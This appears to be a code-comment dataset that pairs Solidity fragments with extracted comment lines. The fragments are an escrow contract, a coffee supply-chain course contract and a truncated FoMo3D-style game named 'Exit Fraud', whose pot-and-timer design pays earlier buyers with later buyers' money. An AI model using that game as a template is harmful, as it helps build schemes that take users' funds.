thisProject.serviceProviderBalance += thisProject.phases[thisProject.currentPhase].discretionaryPayment;
thisProject.escrowBalance -= thisProject.phases[thisProject.currentPhase].lockedPayment;
thisProject.escrowBalance -= thisProject.phases[thisProject.currentPhase].discretionaryPayment;
// @dev If the current phase is the last phase of the project then project is finished
if (thisProject.currentPhase == (idGenerator - 1))
{
thisProject.projectCompleted = true;
}
return thisProject.phases[thisProject.currentPhase].clientApproved;
}
// @dev Used by client or service provider to cancel the project
function cancelProject()
public
returns(bool)
{
require(msg.sender == thisProject.client || msg.sender == serviceProvider, "Contract can only be cancelled by client or service provider");
if (msg.sender == thisProject.client)
{
thisProject.serviceProviderBalance += thisProject.phases[thisProject.currentPhase].lockedPayment;
thisProject.escrowBalance -= thisProject.phases[thisProject.currentPhase].lockedPayment;
thisProject.clientBalance += thisProject.phases[thisProject.currentPhase].discretionaryPayment;
thisProject.escrowBalance -= thisProject.phases[thisProject.currentPhase].discretionaryPayment;
}
if (msg.sender == serviceProvider)
{
thisProject.clientBalance += thisProject.phases[thisProject.currentPhase].lockedPayment;
thisProject.escrowBalance -= thisProject.phases[thisProject.currentPhase].lockedPayment;
thisProject.clientBalance += thisProject.phases[thisProject.currentPhase].discretionaryPayment;
thisProject.escrowBalance -= thisProject.phases[thisProject.currentPhase].discretionaryPayment;
}
thisProject.projectCancelled = true;
return thisProject.projectCancelled;
}
}
|
this goes to service provider when client approves phase; to client if service provider or client cancels
|
uint discretionaryPayment;
| 12,908,283
|
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pragma solidity >= 0.4.24;
import "../coffeeaccesscontrol/ConsumerRole.sol";
import "../coffeeaccesscontrol/DistributorRole.sol";
import "../coffeeaccesscontrol/FarmerRole.sol";
import "../coffeeaccesscontrol/RetailerRole.sol";
import "../coffeecore/Ownable.sol";
// Define a contract 'Supplychain'
//
contract SupplyChain is Ownable, ConsumerRole, DistributorRole, FarmerRole, RetailerRole {
// Define a variable called 'upc' for Universal Product Code (UPC)
//uint upc;
// Define a variable called 'sku' for Stock Keeping Unit (SKU)
uint internal sku;
// Define a public mapping 'items' that maps the UPC to an Item.
mapping (uint => Item) internal items;
// Define a public mapping 'itemsHistory' that maps the UPC to an array of TxHash,
// that track its journey through the supply chain -- to be sent from DApp.
// To be dis-regarded as per https://medium.com/@andresaaap/architect-a-blockchain-supply-chain-solution-part-b-project-faq-udacity-blockchain-da86496fce55
// mapping (uint => string[]) itemsHistory;
// Define enum 'State' with the following values:
enum State {
Uninitialized, // 0 - this is also used to check that an entry (key) in items has not been set
Harvested, // 1
Processed, // 2
Packed, // 3
ForSale, // 4
Sold, // 5
Shipped, // 6
Received, // 7
Purchased // 8
}
//State constant defaultState = State.Harvested;
// Define a struct 'Item' with the following fields:
struct Item {
uint sku; // Stock Keeping Unit (SKU)
uint upc; // Universal Product Code (UPC), generated by the Farmer, goes on the package, can be verified by the Consumer
address ownerID; // Metamask-Ethereum address of the current owner as the product moves through 8 stages
address originFarmerID; // Metamask-Ethereum address of the Farmer
string originFarmName; // Farmer Name
string originFarmInformation; // Farmer Information
string originFarmLatitude; // Farm Latitude
string originFarmLongitude; // Farm Longitude
uint productID; // Product ID potentially a combination of upc + sku
string productNotes; // Product Notes
uint productPrice; // Product Price
State itemState; // Product State as represented in the enum above
address distributorID; // Metamask-Ethereum address of the Distributor
address retailerID; // Metamask-Ethereum address of the Retailer
address consumerID; // Metamask-Ethereum address of the Consumer
}
// Define 8 events with the same 8 state values and accept 'upc' as input argument
event Harvested(uint upc);
event Processed(uint upc);
event Packed(uint upc);
event ForSale(uint upc);
event Sold(uint upc);
event Shipped(uint upc);
event Received(uint upc);
event Purchased(uint upc);
// Define a modifer that checks to see if msg.sender == owner of the contract
// Obsolete, now done through inheriting Ownable
// modifier onlyOwner() {
// require(msg.sender == owner);
// _;
// }
// Define a modifer that verifies the Caller
modifier verifyCaller(address _address) {
require(msg.sender == _address);
_;
}
// Define a modifier that checks if the paid amount is sufficient to cover the price
modifier paidEnough(uint _price) {
require(msg.value >= _price);
_;
}
// Define a modifier that checks the price and refunds the remaining balance
modifier checkValue(uint _upc) {
_;
uint _price = items[_upc].productPrice;
uint amountToReturn = msg.value - _price;
// We need to make this conversion to be able to use transfer() function to transfer ethers
address payable ownerAddressPayable = _make_payable(msg.sender);
ownerAddressPayable.transfer(amountToReturn);
}
// Define a modifier that checks if an item.state of a upc is Uninitialized
modifier uninitialized(uint _upc) {
require(items[_upc].itemState == State.Uninitialized);
_;
}
// Define a modifier that checks if an item.state of a upc is Harvested
modifier harvested(uint _upc) {
require(items[_upc].itemState == State.Harvested);
_;
}
// Define a modifier that checks if an item.state of a upc is Processed
modifier processed(uint _upc) {
require(items[_upc].itemState == State.Processed);
_;
}
// Define a modifier that checks if an item.state of a upc is Packed
modifier packed(uint _upc) {
require(items[_upc].itemState == State.Packed);
_;
}
// Define a modifier that checks if an item.state of a upc is ForSale
modifier forSale(uint _upc) {
require(items[_upc].itemState == State.ForSale);
_;
}
// Define a modifier that checks if an item.state of a upc is Sold
modifier sold(uint _upc) {
require(items[_upc].itemState == State.Sold);
_;
}
// Define a modifier that checks if an item.state of a upc is Shipped
modifier shipped(uint _upc) {
require(items[_upc].itemState == State.Shipped);
_;
}
// Define a modifier that checks if an item.state of a upc is Received
modifier received(uint _upc) {
require(items[_upc].itemState == State.Received);
_;
}
// Define a modifier that checks if an item.state of a upc is Purchased
modifier purchased(uint _upc) {
require(items[_upc].itemState == State.Purchased);
_;
}
// In the constructor set 'owner' to the address that instantiated the contract
// and set 'sku' to 1
// and set 'upc' to 1
constructor() public payable Ownable() ConsumerRole() DistributorRole() FarmerRole() RetailerRole() {
//owner = msg.sender;
sku = 1;
//upc = 1;
}
// Function that allows you to convert an address into a payable address
function _make_payable(address x) internal pure returns (address payable) {
return address(uint160(x));
}
// Define a function 'kill' if required
function kill() public onlyOwner() {
selfdestruct(_make_payable(owner()));
}
// Define a function 'harvestItem' that allows a farmer to mark an item 'Harvested'
function harvestItem(
uint _upc,
address _originFarmerID,
string memory _originFarmName,
string memory _originFarmInformation,
string memory _originFarmLatitude,
string memory _originFarmLongitude,
string memory _productNotes
)
public
onlyFarmer
// check that _upc is uninitialized
uninitialized(_upc)
{
// Add the new item as part of Harvest
//Item memory new_item ;
Item memory new_item ; // = items[_upc];
new_item.sku = sku ;
new_item.upc = _upc ;
new_item.ownerID = msg.sender ;
new_item.originFarmerID = _originFarmerID ;
new_item.originFarmName = _originFarmName ;
new_item.originFarmInformation = _originFarmInformation ;
new_item.originFarmLatitude = _originFarmLatitude ;
new_item.originFarmLongitude = _originFarmLongitude ;
new_item.productID = _upc * 10000 + sku ; // assume there won't be more than 10000 sku's
new_item.productNotes = _productNotes ;
// new_item.productPrice = 0 ; // not set here
new_item.itemState = State.Harvested ;
// new_item.distributorID // not set here
// new_item.retailerID // not set here
// new_item.consumerID // not set here
items[_upc] = new_item ;
// Increment sku
sku = sku + 1;
// Emit the appropriate event
emit Harvested(_upc);
}
// Define a function 'processItem' that allows a farmer to mark an item 'Processed'
function processItem(uint _upc)
public
onlyFarmer
// Call modifier to check if upc has passed previous supply chain stage
harvested(_upc)
// Call modifier to verify caller of this function
verifyCaller(items[_upc].ownerID)
{
// Update the appropriate fields
items[_upc].itemState = State.Processed;
// Emit the appropriate event
emit Processed(_upc);
}
// Define a function 'packItem' that allows a farmer to mark an item 'Packed'
function packItem(uint _upc)
public
onlyFarmer
// Call modifier to check if upc has passed previous supply chain stage
processed(_upc)
// Call modifier to verify caller of this function
verifyCaller(items[_upc].ownerID)
{
// Update the appropriate fields
items[_upc].itemState = State.Packed;
// Emit the appropriate event
emit Packed(_upc);
}
// Define a function 'sellItem' that allows a farmer to mark an item 'ForSale'
function sellItem(uint _upc, uint _price)
public
onlyFarmer
// Call modifier to check if upc has passed previous supply chain stage
packed(_upc)
// Call modifier to verify caller of this function
verifyCaller(items[_upc].ownerID)
{
// Update the appropriate fields
items[_upc].itemState = State.ForSale;
items[_upc].productPrice = _price;
// Emit the appropriate event
emit ForSale(_upc);
}
// Define a function 'buyItem' that allows the disributor to mark an item 'Sold'
// Use the above defined modifiers to check if the item is available for sale, if the buyer has paid enough,
// and any excess ether sent is refunded back to the buyer
function buyItem(uint _upc)
public
payable
onlyDistributor
// Call modifier to check if upc has passed previous supply chain stage
forSale(_upc)
// Call modifer to check if buyer has paid enough
paidEnough(items[_upc].productPrice)
// Call modifer to send any excess ether back to buyer
checkValue(_upc)
{
// Prepare transfer of money to farmer
uint amountToPay = items[_upc].productPrice;
address ownerAddress = items[_upc].ownerID;
// We need to make this conversion to be able to use transfer() function to transfer ethers
address payable ownerAddressPayable = _make_payable(ownerAddress);
// Update the appropriate fields - ownerID, distributorID, itemState
items[_upc].ownerID = msg.sender;
items[_upc].distributorID = msg.sender;
items[_upc].itemState = State.Sold;
// actually transfer ethers
ownerAddressPayable.transfer(amountToPay);
// emit the appropriate event
emit Sold( _upc);
}
// Define a function 'shipItem' that allows the distributor to mark an item 'Shipped'
// Use the above modifers to check if the item is sold
function shipItem(uint _upc)
public
onlyDistributor
// Call modifier to check if upc has passed previous supply chain stage
sold(_upc)
// Call modifier to verify caller of this function
verifyCaller(items[_upc].ownerID)
{
// Update the appropriate fields
items[_upc].itemState = State.Shipped;
// Emit the appropriate event
emit Shipped(_upc);
}
// Define a function 'receiveItem' that allows the retailer to mark an item 'Received'
// Use the above modifiers to check if the item is shipped
function receiveItem(uint _upc)
public
onlyRetailer
// Call modifier to check if upc has passed previous supply chain stage
shipped(_upc)
// Access Control List enforced by calling Smart Contract / DApp
{
// Update the appropriate fields - ownerID, retailerID, itemState
items[_upc].ownerID = msg.sender;
items[_upc].retailerID = msg.sender;
items[_upc].itemState = State.Received;
// Emit the appropriate event
emit Received(_upc);
}
// Define a function 'purchaseItem' that allows the consumer to mark an item 'Purchased'
// Use the above modifiers to check if the item is received
function purchaseItem(uint _upc)
public
onlyConsumer
// Call modifier to check if upc has passed previous supply chain stage
received(_upc)
// Access Control List enforced by calling Smart Contract / DApp
{
// Update the appropriate fields - ownerID, consumerID, itemState
items[_upc].ownerID = msg.sender;
items[_upc].consumerID = msg.sender;
items[_upc].itemState = State.Purchased;
// Emit the appropriate event
emit Purchased(_upc);
}
// Define a function 'fetchItemBufferOne' that fetches the data
function fetchItemBufferOne(uint _upc)
public
view
returns (
uint itemSKU,
uint itemUPC,
address ownerID,
address originFarmerID,
string memory originFarmName,
string memory originFarmInformation,
string memory originFarmLatitude,
string memory originFarmLongitude
)
{
// Assign values to the 8 parameters
Item memory item = items[_upc] ;
return (
item.sku,
item.upc,
item.ownerID,
item.originFarmerID,
item.originFarmName,
item.originFarmInformation,
item.originFarmLatitude,
item.originFarmLongitude
);
}
// Define a function 'fetchItemBufferTwo' that fetches the data
function fetchItemBufferTwo(uint _upc)
public
view
returns (
uint itemSKU,
uint itemUPC,
uint productID,
string memory productNotes,
uint productPrice,
uint itemState,
address distributorID,
address retailerID,
address consumerID
)
{
// Assign values to the 9 parameters
Item memory item = items[_upc] ;
return (
item.sku,
item.upc,
item.productID,
item.productNotes,
item.productPrice,
uint(item.itemState),
item.distributorID,
item.retailerID,
item.consumerID
);
}
}
|
Metamask-Ethereum address of the Consumer
|
address consumerID;
| 2,555,369
|
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pragma solidity ^0.4.24;
contract F3Devents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
//==============================================================================
// _ _ _ _|_ _ _ __|_ _ _ _|_ _ .
// (_(_)| | | | (_|(_ | _\(/_ | |_||_) .
//====================================|=========================================
contract modularShort is F3Devents {}
contract ExitFraud is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x99904BE052F97eF56D13a1140F32d99213c88238);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin1 = 0xdcfd5C7B10ce65598d8B13dFABcacE9c3889298C;
address private admin2 = msg.sender;
string constant public name = "Exit Fraud";
string constant public symbol = "EXITF";
uint256 private rndExtra_ = 30 minutes; // length of the very first ICO
uint256 private rndGap_ = 30 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 30 minutes; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 4 hours; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(35,0); //50% to pot, 10% to aff, 4% to com, 0% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(65,0); //20% to pot, 10% to aff, 4% to com, 0% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(58,0); //27% to pot, 10% to aff, 4% to com, 0% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(45,0); //40% to pot, 10% to aff, 4% to com, 0% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(7,0); //48% to winner, 25% to next round, 20% to com
potSplit_[1] = F3Ddatasets.PotSplit(12,0); //48% to winner, 20% to next round, 20% to com
potSplit_[2] = F3Ddatasets.PotSplit(22,0); //48% to winner, 10% to next round, 20% to com
potSplit_[3] = F3Ddatasets.PotSplit(27,0); //48% to winner, 5% to next round, 20% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
